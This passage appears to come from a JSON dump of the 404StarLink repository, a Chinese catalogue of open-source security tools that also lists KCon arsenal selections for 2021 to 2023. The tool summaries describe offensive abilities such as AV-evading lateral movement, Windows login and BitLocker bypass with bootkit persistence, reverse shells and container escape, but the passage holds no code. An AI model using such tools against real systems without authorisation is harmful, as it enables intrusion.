等工具在文件传输、多会话管理方面的不足。该工具在多会话管理的基础上增加了在渗透测试中更加有用的功能，可以更方便灵活地对反弹 Shell 会话进行管理。\n\n### [WMIHACKER](detail/WMIHACKER.md)\n![Author](https://img.shields.io/badge/Author-rootclay-orange)\n![Language](https://img.shields.io/badge/Language-VBScript-blue)\n![GitHub stars](https://img.shields.io/github/stars/rootclay/WMIHACKER.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.1-red)\n\n<https://github.com/rootclay/WMIHACKER>\n\nWMIHACKER是一款免杀横向渗透远程命令执行工具，常见的WMIEXEC、PSEXEC执行命令是创建服务或调用Win32_Process.create执行命令，这些方式都已经被杀软100%拦截，通过改造出的WMIHACKER可免杀横向移动。并且在企业网络目前阻断445端口严重的情况下可以无需445端口进行横向移动，效率高且不易被检测。\n\n### [rakshasa](detail/rakshasa.md)\n![Author](https://img.shields.io/badge/Author-Mob2003-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/Mob2003/rakshasa.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.2.3-red)\n\n<https://github.com/Mob2003/rakshasa>\n\nrakshasa是一个使用Go语言编写的强大多级代理工具，专为实现多级代理，内网穿透而设计。它可以在节点群里面任意两个节点之间转发TCP请求和响应，同时支持socks5代理，http代理，并且可以引入外部http、socks5代理池，自动切换请求IP。\n\n### [As-Exploits](detail/As-Exploits.md)\n![Author](https://img.shields.io/badge/Author-yzddmr6-orange)\n![Language](https://img.shields.io/badge/Language-JavaScript-blue)\n![GitHub stars](https://img.shields.io/github/stars/yzddmr6/As-Exploits.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.5.0-red)\n\n<https://github.com/yzddmr6/As-Exploits>\n\n中国蚁剑后渗透框架\n\n### [g3proxy](detail/g3proxy.md)\n![Author](https://img.shields.io/badge/Author-bytedance-orange)\n![Language](https://img.shields.io/badge/Language-Rust-blue)\n![GitHub stars](https://img.shields.io/github/stars/bytedance/g3.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.12.3-red)\n\n<https://github.com/bytedance/g3>\n\n通用正向代理解决方案，同时带有TCP映射、TLS卸载/封装、透明代理、简单反向代理等功能\n\n### [PortForward](detail/PortForward.md)\n![Author](https://img.shields.io/badge/Author-knownsec404-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/PortForward.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.5.0-red)\n\n<https://github.com/knownsec/PortForward>\n\nPortForward 是使用 Golang 进行开发的端口转发工具，解决在某些场景下内外网无法互通的问题\n\n\n\n## 其他/others\n### [AiPy](detail/AiPy.md)\n![Author](https://img.shields.io/badge/Author-Knownsec-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/aipyapp.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.5.0-red)\n\n<https://github.com/knownsec/aipyapp>\n\nAiPy是知道创宇站在AI技术变革前沿，基于LLM（大语言模型）与高级编程语言Python 完美融合，打造的一款突破性产品。AiPy以创新的技术范式和更低的成本，重构AI生产力边界，让大模型集思考能力和主动执行任务于一体。\n\n### [CyberStrikeAI](detail/CyberStrikeAI.md)\n![Author](https://img.shields.io/badge/Author-Ed1s0nZ-orange)\n![Language](https://img.shields.io/badge/Language-go-blue)\n![GitHub stars](https://img.shields.io/github/stars/Ed1s0nZ/CyberStrikeAI.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.3.23-red)\n\n<https://github.com/Ed1s0nZ/CyberStrikeAI>\n\nCyberStrikeAI 是一款 AI 原生安全测试平台，基于 Go 构建，集成了 100+ 安全工具、智能编排引擎与完整的测试生命周期管理能力\n\n### [f8x](detail/f8x.md)\n![Author](https://img.shields.io/badge/Author-ffffffff0x-orange)\n![Language](https://img.shields.io/badge/Language-Bash-blue)\n![GitHub stars](https://img.shields.io/github/stars/ffffffff0x/f8x.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.6.2-red)\n\n<https://github.com/ffffffff0x/f8x>\n\n一款红/蓝队环境自动化部署工具,支持多种场景,渗透,开发,代理环境,服务可选项等。\n\n### [BinAbsInspector](detail/BinAbsInspector.md)\n![Author](https://img.shields.io/badge/Author-KeenSecurityLab-orange)\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![GitHub stars](https://img.shields.io/github/stars/KeenSecurityLab/BinAbsInspector.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.1-red)\n\n<https://github.com/KeenSecurityLab/BinAbsInspector>\n\nBinAbsInspector(Binary Abstract Inspector)是一款用于自动化逆向工程和扫描二进制文件漏洞的静态分析器，是 Keenlab 孵化的长期研究项目。基于 Ghidra 的支持下的抽象解释，适用于 Ghidra 的 Pcode 而非汇编。目前支持 x86、x64、armv7 和 aarch64 的二进制文件。\n\n### [Heimdallr](detail/Heimdallr.md)\n![Author](https://img.shields.io/badge/Author-graynjo-orange)\n![Language](https://img.shields.io/badge/Language-JavaScript-blue)\n![GitHub stars](https://img.shields.io/github/stars/graynjo/Heimdallr.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.1.3-red)\n\n<https://github.com/graynjo/Heimdallr>\n\n一款完全被动监听的谷歌插件，用于高危指纹识别、蜜罐特征告警和拦截、机器特征对抗。\n\n### [passive-scan-client](detail/passive-scan-client.md)\n![Author](https://img.shields.io/badge/Author-c0ny1-orange)\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![GitHub stars](https://img.shields.io/github/stars/c0ny1/passive-scan-client.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.3.1-red)\n\n<https://github.com/c0ny1/passive-scan-client>\n\nPassive Scan Client是一款可以将经过筛选的流量转发到指定代理的Burp被动扫描流量转发插件\n\n### [AntiDebug_Breaker](detail/AntiDebug_Breaker.md)\n![Author](https://img.shields.io/badge/Author-0xsdeo-orange)\n![Language](https://img.shields.io/badge/Language-JavaScript-blue)\n![GitHub stars](https://img.shields.io/github/stars/0xsdeo/AntiDebug_Breaker.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V3.0.4-red)\n\n<https://github.com/0xsdeo/AntiDebug_Breaker>\n\n本插件是基于Hook_JS库所写的Google插件，将致力于辅助前端JavaScript逆向以及渗透测试信息收集。\n\n### [agentic-soc-platform.json](detail/agentic-soc-platform.md)\n![Author](https://img.shields.io/badge/Author-FunnyWolf-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/FunnyWolf/agentic-soc-platform.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.2.0-red)\n\n<https://github.com/FunnyWolf/agentic-soc-platform>\n\nAgentic SOC Platform 是一个功能强大、灵活且开源的自动化安全运营平台。它集成了 AI Agent 能力与自动化编排，支持主流 SIEM/SOAR 场景，帮助企业高效构建智能化安全运营体系。\n\n### [GrabAccess](detail/GrabAccess.md)\n![Author](https://img.shields.io/badge/Author-Push3AX-orange)\n![Language](https://img.shields.io/badge/Language-C-blue)\n![GitHub stars](https://img.shields.io/github/stars/Push3AX/GrabAccess.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.1-red)\n\n<https://github.com/Push3AX/GrabAccess>\n\nGrabAccess：Bookit/Windows登陆密码和Bitlocker绕过工具，在物理接触目标计算机的情况下，GrabAccess可以：绕过Windows登陆密码执行任意操作（以System权限执行命令、重置Windows账户密码等），植入木马并添加自启动（可以绕过Bitlocker，但要求受害者登录），通过修改主板UEFI固件实现无视重装系统、更换硬盘的持久化（Bootkit）\n\n### [JNDIMap](detail/JNDIMap.md)\n![Author](https://img.shields.io/badge/Author-X1r0z-orange)\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![GitHub stars](https://img.shields.io/github/stars/X1r0z/JNDIMap.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.4-red)\n\n<https://github.com/X1r0z/JNDIMap>\n\n一个 JNDI 注入利用框架, 支持 RMI、LDAP 和 LDAPS 协议, 包含多种高版本 JDK 绕过方式\n\n### [Typhon](detail/Typhon.md)\n![Author](https://img.shields.io/badge/Author-LamentXU123-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/LamentXU123/Typhon.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.13-red)\n\n<https://github.com/LamentXU123/Typhon>\n\nTyphon 是绕过 pyjail 的一把梭的CTF工具\n\n### [wam](detail/wam.md)\n![Author](https://img.shields.io/badge/Author-knownsec404-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/wam.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0-red)\n\n<https://github.com/knownsec/wam>\n\nWAM是一个由Python开发的用于监控'Web App'、'动态网络信息'的平台。在一定程度上，它极大地帮助安全研究人员节省了跟踪代码补丁的时间。\n\n### [WeaponizedVSCode](detail/WeaponizedVSCode.md)\n![Author](https://img.shields.io/badge/Author-Esonhugh-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/Esonhugh/WeaponizedVSCode.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.5.0-red)\n\n<https://github.com/Esonhugh/WeaponizedVSCode>\n\n一个基于VSCode工作区的黑客环境工具。\n\n### [LBot](detail/LBot.md)\n![Author](https://img.shields.io/badge/Author-LoRexxar@knownsec404-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/LBot.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.1-red)\n\n<https://github.com/knownsec/LBot>\n\nLBot主要用于方便的编写一个xss的bot程序。使用者可以简单的修改其逻辑以及配置环境，即可获得一个简单的xss的bot程序。由于原型来自于爬虫程序，所以只要前端有一定的频率限制，后端很难出现问题，比较稳定。\n\n\n\n"
  },
  {
    "path": "banner.md",
    "content": "## Banner\n\n开源作者收到星链计划邀请函后，希望开源作者可以添加星链计划 Banner 到项目 README 的末尾，这样可以极大增加星链计划的影响力。\n\n**中文版本**  \n\n```\n## 404星链计划\n<img src=\"https://github.com/knownsec/404StarLink/raw/master/Images/logo.png\" width=\"30%\">\n\n(项目名称) 现已加入 [404星链计划](https://github.com/knownsec/404StarLink)\n```\n\n## 404星链计划\n<img src=\"https://github.com/knownsec/404StarLink/raw/master/Images/logo.png\" width=\"30%\">\n\nAAAA 现已加入 [404星链计划](https://github.com/knownsec/404StarLink)\n\n**英文版本**  \n\n```\n## 404Starlink\n<img src=\"https://github.com/knownsec/404StarLink/raw/master/Images/logo.png\" width=\"30%\">\n\n(ProjectName) has joined [404Starlink](https://github.com/knownsec/404StarLink)\n```\n\n## 404Starlink\n<img src=\"https://github.com/knownsec/404StarLink/raw/master/Images/logo.png\" width=\"30%\">\n\nAAAA has joined [404Starlink](https://github.com/knownsec/404StarLink)"
  },
  {
    "path": "column/2021KCon_exhibition_with_starlink.md",
    "content": "## 入选2021Kcon黑客大会兵器谱\n\nKCon 黑客大会由知道创宇主办，秉持着追求干货、乐于分享的精神，力求为每一位热爱黑客技术研究的伙伴打造一个尽情展示、互动交流的创意舞台。如今，历经十年打磨，KCon 黑客大会已成长为国际网络安全圈极富活力与影响力的前沿网络安全攻防技术交流平台。本届 KCon 选择以“纵横”为主题，十之一纵一横，包罗万象，正如网络空间的攻与防，变幻莫测。而纵横之下的这场网安论道，将以打造全球性网安交流平台为发展目标，加速强化中国网安力量。\n\n<div align=\"center\">\n<img src=\"Images_2021KCon/1.jpeg\" width=\"700\">\n</div>\n\n详情可以访问: <http://kcon.knownsec.com/2021/#/>\n\n为了鼓励国内安全自动化工具的发展，展示更多黑客及安全人员们的安全自动化研究成果，自 2016年 起，KCon 黑客大会便引入「兵器谱」展示环节。过去几届 KCon 黑客大会现场，已有三十多件“安全神兵利器”受到千余名参会黑客的观摩与试用，并获得媒体朋友们的广泛关注。\n\n今年，在历时两个多月的招募与评选后，我们精心为大家挑选出了 11 件安全江湖的“神兵利器”，将于 KCon 现场尽情探索与展示！\n\n<div align=\"center\">\n<img src=\"Images_2021KCon/2.jpeg\" width=\"400\">\n</div>\n\n详情可以访问: <http://kcon.knownsec.com/2021/#/arsenal>\n\n在今年的兵器谱中，星链计划有大量的项目内推投稿到兵器谱，其中有 8 件安全江湖的“神兵利器”入选，他们是：\n\n* [CDK](#cdk)\n* [Kunyu](#kunyu)\n* [f8x](#f8x)\n* [Viper](#viper)\n* [KunLun-M](#kunlun-m)\n* [Pocassist](#pocassist)\n* [Stowaway](#stowaway)\n* [GShark](#gshark)\n\n>排名不分先后\n\n----------------------------------------\n\n### [CDK](../detail/CDK.md)\n![Author](https://img.shields.io/badge/Author-cdkteam-orange)\n![Language](https://img.shields.io/badge/Language-CDK-blue)\n![GitHub stars](https://img.shields.io/github/stars/cdk-team/CDK.svg?style=flat&logo=github)\n\n<https://github.com/cdk-team/CDK>\n\nCDK是一款为容器环境定制的渗透测试工具，在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的逃逸、横向移动、持久化利用方式，插件化管理。\n\n<div align=\"center\">\n<img src=\"Images_2021KCon/cdk.png\" width=\"700\">\n</div>\n\n\n### [Kunyu](../detail/Kunyu.md)\n![Author](https://img.shields.io/badge/Author-风起-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/Kunyu.svg?style=flat&logo=github)\n\n<https://github.com/knownsec/Kunyu>\n\nKunyu 是基于 ZoomEye 开发的工具，旨在让企业资产梳理更加高效，使更多安全从业者了解、使用网络空间测绘技术。\n\n<div align=\"center\">\n<img src=\"Images_2021KCon/kunyu.png\" width=\"700\">\n</div>\n\n\n### [f8x](../detail/f8x.md)\n![Author](https://img.shields.io/badge/Author-ffffffff0x-orange)\n![Language](https://img.shields.io/badge/Language-Bash-blue)\n![GitHub stars](https://img.shields.io/github/stars/ffffffff0x/f8x.svg?style=flat&logo=github)\n\n<https://github.com/ffffffff0x/f8x>\n\n一款红/蓝队环境自动化部署工具,支持多种场景,渗透,开发,代理环境,服务可选项等。\n\n<div align=\"center\">\n<img src=\"Images_2021KCon/f8x.png\" width=\"700\">\n</div>\n\n\n### [Viper](../detail/Viper.md)\n![Author](https://img.shields.io/badge/Author-FunnyWolf-orange)\n![Language](https://img.shields.io/badge/Language-JS/Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/FunnyWolf/Viper.svg?style=flat&logo=github)\n\n<https://github.com/FunnyWolf/Viper>\n\nVIPER是一款图形化内网渗透工具,将内网渗透过程中常用的战术及技术进行模块化及武器化。\n\n<div align=\"center\">\n<img src=\"Images_2021KCon/viper.jpg\" width=\"700\">\n</div>\n\n\n### [KunLun-M](../detail/KunLun-M.md)\n![Author](https://img.shields.io/badge/Author-LoRexxar-orange)\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![GitHub stars](https://img.shields.io/github/stars/FunnyWolf/Viper.svg?style=flat&logo=github)\n\n<https://github.com/LoRexxar/Kunlun-M>\n\nKunlun-Mirror 专注于安全研究人员使用的白盒代码审计工具\n\n<div align=\"center\">\n<img src=\"Images_2021KCon/kunlun.png\" width=\"700\">\n</div>\n\n\n### [Pocassist](../detail/Pocassist.md)\n![Author](https://img.shields.io/badge/Author-jweny-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/jweny/pocassist.svg?style=flat&logo=github)\n\n<https://github.com/jweny/pocassist>\n\nPocassist 是一个 Golang 编写的全新开源漏洞测试框架，帮助安全人员专注于漏洞验证的逻辑的实现。Pocassist 提供了简洁的 Web 图形化界面，用户可以在线编辑漏洞验证程序即可进行批量的测试；规则完全兼容 xray，可以直接使用现有开源的 PoC 库，同时也支持添加自定义规则。\n\n<div align=\"center\">\n<img src=\"Images_2021KCon/pocassist.jpg\" width=\"700\">\n</div>\n\n\n### [Stowaway](../detail/Stowaway.md)\n![Author](https://img.shields.io/badge/Author-ph4ntonn-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/ph4ntonn/Stowaway.svg?style=flat&logo=github)\n\n<https://github.com/ph4ntonn/Stowaway>\n\nStowaway 是一款多级代理工具，可将外部流量通过多个节点代理至内网，突破内网访问限制。Stowaway 可以方便渗透测试人员通过多级跳跃，从外部dmz等一系列区域逐步深入核心网络；Stowaway 除了流量转发功能，还提供了端口复用、ssh隧道，流量伪装等专为渗透测试人员所用的功能。\n\n<div align=\"center\">\n<img src=\"Images_2021KCon/stowaway.png\" width=\"700\">\n</div>\n\n\n### [GShark](../detail/gshark.md)\n![Author](https://img.shields.io/badge/Author-madneal-orange)\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![GitHub stars](https://img.shields.io/github/stars/madneal/gshark.svg?style=flat&logo=github)\n\n<https://github.com/madneal/gshark>\n\n一款开源敏感信息监测系统，可以监测包括 github、gitlab(目前不太稳定，由于gitlab对于免费用户不提供代码全文检索API)、searchcode 多平台的敏感信息监测。\n\n<div align=\"center\">\n<img src=\"Images_2021KCon/gshark.png\" width=\"700\">\n</div>\n"
  },
  {
    "path": "column/2022KCon_exhibition_with_starlink.md",
    "content": "## 入选2022KCon黑客大会兵器谱\r\n\r\n2022年是 KCon 黑客大会举办的第11个年头，亦是10年圆满后踏上新征程的第1步，主题为“**+1 进阶，护航未来**”。\r\n\r\n“+1”或许并不起眼，但“不积跬步，无以至千里；不积小流，无以成江海”。众多“+1”汇聚，便能以量变引起质变，化不可能为可能。网络空间发展至今，机遇与威胁并存，攻击与防守互搏。护航网络空间的未来发展之路，需要聚力成盾，这凝聚着安全技术人员每一次 **“+1”的修复、“+1”的努力、“+1”的创新、“+1”的突破**。\r\n\r\nKCon黑客大会，汇聚黑客智慧，专注网络攻防技术交流。我们希望为众多“+1”的探索者提供分享与碰撞的舞台，为网络安全的进阶助力。\r\n\r\n<div align=\"center\">\r\n<img src=\"Images_2022KCon/1.png\" width=\"700\">\r\n</div>\r\n\r\n详情访问：[KCon 2022 - KCon 黑客大会](https://kcon.knownsec.com/list-kcon2022.html)\r\n\r\n众所周知，网络实战攻防离不开各类自动化工具的运用。安全自动化工具是网安研究人员脑力和经验的结晶，它的加持能让安全人员从“白打”升级到全副武装状态，帮助展示及处理诸多复杂、耗时的安全问题，明确风险、提升效率、加强防御。\r\n\r\nKCon「兵器谱」展示便是为鼓励国内安全自动化工具的发展而设立，现已成为每届 KCon 的传统。本届 KCon，有**14**件经过精心筛选的安全“兵器”等待大家探索。\r\n\r\n<div align=\"center\">\r\n<img src=\"Images_2022KCon/2.png\" width=\"700\">\r\n</div>\r\n\r\n其中有 7 个项目来自404星链计划，他们分别是：\r\n\r\n- AppInfoScanner\r\n- As-Exploits\r\n- Cloud-Bucket-Leak-Detection-Tools\r\n- fscan\r\n- HaE\r\n- openstar\r\n- veinmind-tools\r\n\r\n>排名不分先后\r\n\r\n\r\n### [AppInfoScanner](https://github.com/knownsec/404StarLink/blob/master/detail/AppInfoScanner.md)\r\n\r\n![Language](https://img.shields.io/badge/Language-Python-blue)\r\n![Author](https://img.shields.io/badge/Author-kelvinBen-orange)\r\n![GitHub stars](https://img.shields.io/github/stars/kelvinBen/AppInfoScanner.svg?style=flat&logo=github)\r\n![Version](https://img.shields.io/badge/Version-V1.0.8-red)\r\n\r\nhttps://github.com/kelvinBen/AppInfoScanner\r\n\r\n一款适用于以HW行动/红队/渗透测试团队为场景的移动端(Android、iOS、WEB、H5、静态网站)信息收集扫描工具，可以帮助渗透测试工程师、攻击队成员、红队成员快速收集到移动端或者静态WEB站点中关键的资产信息并提供基本的信息输出,如：Title、Domain、CDN、指纹信息、状态信息等。\r\n\r\n[点击查看兵器谱视频演示](https://www.bilibili.com/video/BV1Mt4y1J7Vh?spm_id_from=333.999.0.0&vd_source=43f31648998a33a14a20b812fed90047)\r\n\r\n\r\n### [As-Exploits](https://github.com/knownsec/404StarLink/blob/master/detail/As-Exploits.md)\r\n\r\n![Author](https://img.shields.io/badge/Author-yzddmr6-orange)\r\n![Language](https://img.shields.io/badge/Language-JavaScript-blue)\r\n![GitHub stars](https://img.shields.io/github/stars/yzddmr6/As-Exploits.svg?style=flat&logo=github)\r\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\r\n\r\nhttps://github.com/yzddmr6/As-Exploits\r\n\r\n中国蚁剑后渗透框架\r\n\r\n\r\n### [Cloud-Bucket-Leak-Detection-Tools](https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools)\r\n\r\n![Author](https://img.shields.io/badge/Author-UzJu-orange)\r\n![Language](https://img.shields.io/badge/Language-Python-blue)\r\n![GitHub stars](https://img.shields.io/github/stars/UzJu/Cloud-Bucket-Leak-Detection-Tools.svg?style=flat&logo=github)\r\n![Version](https://img.shields.io/badge/Version-V0.4.0-red)\r\n\r\nhttps://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools\r\n\r\n云原生安全近几年比较火，存储桶在企业(SRC众测)中暴露的问题也非常多，不仅仅局限于AK/SK的泄露，更多的是用户配置侧的问题，这款工具就是用来代替我们手工解决一些繁琐的操作。\r\n\r\n[点击查看兵器谱视频演示](https://www.bilibili.com/video/BV1ye411g76v?spm_id_from=333.999.0.0&vd_source=43f31648998a33a14a20b812fed90047)\r\n\r\n\r\n### [fscan](https://github.com/knownsec/404StarLink/blob/master/detail/fscan.md)\r\n\r\n![Author](https://img.shields.io/badge/Author-shadow1ng-orange)\r\n![Language](https://img.shields.io/badge/Language-Golang-blue)\r\n![GitHub stars](https://img.shields.io/github/stars/shadow1ng/fscan.svg?style=flat&logo=github)\r\n![Version](https://img.shields.io/badge/Version-V1.8.1-red)\r\n\r\nhttps://github.com/shadow1ng/fscan\r\n\r\n一款内网综合扫描工具，方便一键自动化、全方位漏扫扫描。支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。\r\n\r\n[点击查看兵器谱视频演示](https://www.bilibili.com/video/BV1vG4115722?spm_id_from=333.999.0.0&vd_source=43f31648998a33a14a20b812fed90047)\r\n\r\n\r\n### [HaE](https://github.com/knownsec/404StarLink/blob/master/detail/HaE.md)\r\n\r\n![Author](https://img.shields.io/badge/Author-gh0stkey-orange)\r\n![Language](https://img.shields.io/badge/Language-Java-blue)\r\n![GitHub stars](https://img.shields.io/github/stars/gh0stkey/HaE.svg?style=flat&logo=github)\r\n![Version](https://img.shields.io/badge/Version-V2.4.2-red)\r\n\r\nhttps://github.com/gh0stkey/HaE\r\n\r\nHaE是一款可以快速挖掘目标指纹和关键信息的Burp插件。\r\n\r\n[点击查看兵器谱视频演示](https://www.bilibili.com/video/BV16D4y167uX?spm_id_from=333.999.0.0&vd_source=43f31648998a33a14a20b812fed90047)\r\n\r\n\r\n### [OpenStar](https://github.com/knownsec/404StarLink/blob/master/detail/OpenStar.md)\r\n\r\n![Author](https://img.shields.io/badge/Author-starjun-orange)\r\n![Language](https://img.shields.io/badge/Language-JS/Python-blue)\r\n![GitHub stars](https://img.shields.io/github/stars/starjun/openstar.svg?style=flat&logo=github)\r\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\r\n\r\nhttps://github.com/starjun/openstar\r\n\r\nOpenStar 是一个基于 OpenResty 的高性能 Web 应用防火墙，支持复杂规则编写。提供了常规的 HTTP 字段规则配置，还提供了 IP 黑白名单、访问频次等配置，对于 CC 防护更提供的特定的规则算法，并且支持搭建集群进行防护。\r\n\r\n[点击查看兵器谱视频演示](https://www.bilibili.com/video/BV1YB4y1G7mr?spm_id_from=333.999.0.0&vd_source=43f31648998a33a14a20b812fed90047)\r\n\r\n\r\n### [veinmind-tools](https://github.com/knownsec/404StarLink/blob/master/detail/veinmind-tools.md)\r\n\r\n![Author](https://img.shields.io/badge/Author-长亭科技-orange)\r\n![Language](https://img.shields.io/badge/Language-Golang/Python-blue)\r\n![GitHub stars](https://img.shields.io/github/stars/chaitin/veinmind-tools.svg?style=flat&logo=github)\r\n![Version](https://img.shields.io/badge/Version-V1.5.0-red)\r\n\r\nhttps://github.com/chaitin/veinmind-tools\r\n\r\nveinmind-tools 是基于 veinmind-sdk 打造的一个容器安全工具集，目前已支持镜像 恶意文件/后门/敏感信息/弱口令 的扫描，更多功能正在逐步开发中。\r\n\r\n[点击查看兵器谱视频演示](https://www.bilibili.com/video/BV1MP411V7v6?spm_id_from=333.999.0.0&vd_source=43f31648998a33a14a20b812fed90047)\r\n"
  },
  {
    "path": "column/2023KCon_exhibition_with_starlink.md",
    "content": "## 入选2023KCon黑客大会兵器谱\r\n\r\nKCon大会，国际网络安全圈富有活力与影响力的前沿网络安全攻防技术交流平台，以“追求干货有趣”为宗旨，力求为网安技术研究者们打造一个尽情展示、尽情交流的创意舞台，期待以技术之力引领业界未来的变革。\r\n\r\n在数字化浪潮奔腾汹涌的当下，数字的汇聚引起AI的“智变”，也引起了更多值得被关注的网络安全风险。安全是发展的前提，网络安全技术的创新与进步是数字中国建设的重要支撑。\r\n\r\n因此，本届KCon大会着眼数智时代的网安风险，以 **“归源·智变”** 为主题，意在以技术初心凝聚行业之力，为护航数智时代的安全发展贡献绵薄之力。\r\n\r\n<div align=\"center\">\r\n<img src=\"Images_2023KCon/1.jpeg\" width=\"700\">\r\n</div>\r\n\r\n详情访问：[KCon 2023 - KCon 黑客大会](https://kcon.knownsec.com/list-kcon2023.html)\r\n\r\n网络空间的实战攻防离不开各类自动化工具的运用。这些工具就如同网安战场上的“兵器”，可以为安全人员进行“全副武装”，帮助展示及处理诸多复杂、耗时的安全问题，明确风险、提升效率、加强防御。\r\n\r\nAI大模型的横空出世，带来了新一轮技术工具的进化热潮，网络安全行业也纷纷跟进。KCon一直聚焦当下前沿的研究方向与工具技术，「兵器谱」展示环节便是为了鼓励国内安全自动化工具发展而设立。\r\n\r\n在KCon 2023的大会现场，10件由大众评选出的安全神兵利器将同台亮相展区，等待大家的探索。“锻造”出这些“兵器”的网安巧匠也将在展示区为大家讲解演示，传授使用“秘籍”。\r\n\r\n<div align=\"center\">\r\n<img src=\"Images_2023KCon/2.png\" width=\"700\">\r\n</div>\r\n\r\n其中有 3 个项目来自404星链计划，他们分别是：\r\n\r\n- Hades\r\n- ENScanGo\r\n- CF\r\n\r\n>排名不分先后\r\n\r\n### [Hades](https://github.com/knownsec/404StarLink/blob/master/detail/Hades.md)\r\n\r\n![Language](https://img.shields.io/badge/Language-Golang&C++&C-blue)\r\n![Author](https://img.shields.io/badge/Author-theSecHunter-orange)\r\n![GitHub stars](https://img.shields.io/github/stars/theSecHunter/Hades.svg?style=flat&logo=github)\r\n\r\nhttps://github.com/theSecHunter/Hades\r\n\r\nHades 是一款支持 Windows/Linux 的内核级别数据采集主机入侵检测系统，其中每个插件均可独立分开运行。\r\n\r\n<div align=\"center\">\r\n<img src=\"Images_2023KCon/hades.png\" width=\"700\">\r\n</div>\r\n\r\n### [ENScanGo](https://github.com/knownsec/404StarLink/blob/master/detail/ENScanGo.md)\r\n\r\n![Language](https://img.shields.io/badge/Language-Golang-blue)\r\n![Author](https://img.shields.io/badge/Author-wgpsec-orange)\r\n![GitHub stars](https://img.shields.io/github/stars/wgpsec/ENScan_GO.svg?style=flat&logo=github)\r\n\r\nhttps://github.com/wgpsec/ENScan_GO\r\n\r\n剑指HW/SRC，解决在HW/SRC场景下遇到的各种针对国内企业信息收集难题。\r\n\r\n<div align=\"center\">\r\n<img src=\"Images_2023KCon/enscango.png\" width=\"700\">\r\n</div>\r\n\r\n### [CF](https://github.com/knownsec/404StarLink/blob/master/detail/cf.md)\r\n\r\n![Language](https://img.shields.io/badge/Language-Golang-blue)\r\n![Author](https://img.shields.io/badge/Author-teamssix-orange)\r\n![GitHub stars](https://img.shields.io/github/stars/teamssix/cf.svg?style=flat&logo=github)\r\n\r\nhttps://github.com/teamssix/cf\r\n\r\nCF 是一个云环境利用框架，适用于在红队场景中对云上内网进行横向、SRC 场景中对 Access Key 即访问凭证的影响程度进行判定、企业场景中对自己的云上资产进行自检等等。\r\n\r\n<div align=\"center\">\r\n<img src=\"Images_2023KCon/cf.png\" width=\"700\">\r\n</div>"
  },
  {
    "path": "column/2024KCon_exhibition_with_starlink.md",
